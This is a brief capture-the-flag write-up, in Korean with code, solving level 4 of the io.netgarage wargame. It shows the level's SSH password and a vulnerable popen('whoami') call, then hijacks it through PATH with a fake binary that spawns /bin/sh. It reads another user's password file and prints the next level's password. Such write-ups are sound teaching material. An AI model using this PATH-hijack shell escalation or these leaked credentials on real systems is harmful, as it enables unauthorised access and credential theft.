ssh level4@io.netgarage.org
nSwmULj2LpDnRGU2
#include <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}
기본 bin 디렉토리 안의 whoami 를 내가 변조한 프로그램으로 실행시킬 수 있다면, 풀리는 문제이다.
환경변수 PATH를 조작함으로써 whoami 바이너리를 내가 만든 바이너리로 치환시킬 수 있다.
(우선순위)
cat /tmp/getflag/asdf.c
#include <stdio.h>
main() {
system("/bin/sh");
return 0;
}
export PATH=/tmp/getflag:$PATH
level4@io:/tmp/getflag$ /levels/level04
sh-4.2$ cat /home/level5/.pass
Welcome LOoCy5PbKi63qXTh
level4@io:/tmp/getflag$ sh-4.2$